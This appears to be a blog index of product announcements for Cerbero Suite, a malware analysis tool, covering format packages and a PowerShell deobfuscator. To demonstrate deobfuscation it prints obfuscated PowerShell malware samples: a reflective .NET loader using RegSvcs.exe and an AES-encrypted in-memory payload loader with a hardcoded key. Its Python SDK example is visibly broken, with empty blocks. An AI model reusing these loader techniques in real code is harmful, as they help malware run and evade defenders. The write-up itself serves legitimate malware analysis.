Extreme PowerShell Obfuscation

We recently stumbled upon an old article by Daisuke Mutaguchi explaining an extreme technique for PowerShell obfuscation. The article is in Japanese, so you may have to use Google translate.

Here’s the final example provided by the author of the article:


Yes, this is valid PowerShell.

Although there are limits to static deobfuscation, we decided to see what can be done about this with the new release of our PowerShell Beautifier package.

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CRX Format Package

We have released the “CRX Format” package for all licenses of Cerbero Suite Standard and Advanced. This package provides support for the Chrome extension format.

The package also allows to download Chrome extensions by their public URL.

Chrome extensions can be downloaded either from the main window or from the analysis workspace action.

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URL Extractor Package

We have released the URL Extractor package for all licenses of Cerbero Suite Advanced! This package prints out URLs detected when scanning a file.

In this specific image, URL Extractor detected a URL inside a VBS script contained in a Cabinet archive stored in the resources of an executable inside a OneNote document inside a Zip archive.

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OneNote Format Package: All Licenses

As of today, the “OneNote Format” package is available to all licenses of Cerbero Suite! The package was previously released for commercial licenses only.

Installing the package from Cerbero Store takes only a few mouse clicks.

Once the package is installed, you can directly inspect OneNote documents in Cerbero Suite and all embedded files are automatically extracted and ready to be inspected.

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PowerShell Beautifier 2.0 Package

We have released version 2.0 of our commercial PowerShell Beautifier package. The new release adds the option to remove unused variables.

For example, this is a snippet of a malicious script:

$T = 'Get'
$M = $T + 'Method'
$I = 'Invoke'
$T = $T + 'Type'
$L = 'Load'
$Q0 = [Reflection.Assembly]
$B = $Q0::$L($MyS)
$B = $B.$T('NewPE2.PE')
$B = $B.$M('Execute')

$Ub = 'C:\Windows\Microsoft'
$z = $Ub + '.NET\Framewor'
$VT = $z + 'k\v4.0.30'
$XQ = $VT + '319\RegSvcs.exe'
$B = $B.$I($null,[object[]] ($XQ,$serv))

With both variable replacement and removal of unused variables enabled it becomes:

$load_result = [Reflection.Assembly]::Load($x_result)
$get_type_result = $load_result.GetType('NewPE2.PE')
$get_method_result = $get_type_result.GetMethod('Execute')
$invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))

TAR Format Package

We have released the “TAR Format” package for all licenses of Cerbero Suite Standard and Advanced.

The package is also exposed to the SDK:

from Pro.Core import *
from Pkg.TAR import *

def parseTARArchive(fname):
    c = createContainerFromFile(fname)
    if c.isNull():
    obj = TARObject()
    if not obj.Load(c) or not obj.ParseArchive():
    curoffs = None
    while True:
        entry, curoffs = obj.NextEntry(curoffs)
        if entry == None:
        # skip directories
        if obj.IsDirectory(entry):
        print("file name:", entry.name, "file offset:", str(entry.offset_data), "file size:", str(entry.size))
        # retrieves the file data as NTContainer
        fc = obj.GetEntryData(entry)

PowerShell Beautifier Package

PowerShell code is often seen in malware. To help the analysis of such code we have just released the “PowerShell Beautifier” package. The package is available to all commercial licenses of Cerbero Suite Advanced.

The package features a complete parser for the PowerShell language and has many deobfuscation capabilities. If your organization is interested in integrating our PowerShell beautifier in a cloud service, please contact us.

The beautifier can be invoked as an action: Ctrl+R -> PowerShell -> PowerShell Beautifier.

Let’s look at an example of obfuscated PowerShell code:

$mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join 
'')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if 
($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = 
New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = 
[System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = 
[System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = 
$QTfFw.TransformFinalBlock($AKzOG, 0, 
$AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object 
System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object 
System.IO.MemoryStream;$wRtOX = New-Object 
();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = 
[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = 
$VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))

Continue reading “PowerShell Beautifier Package”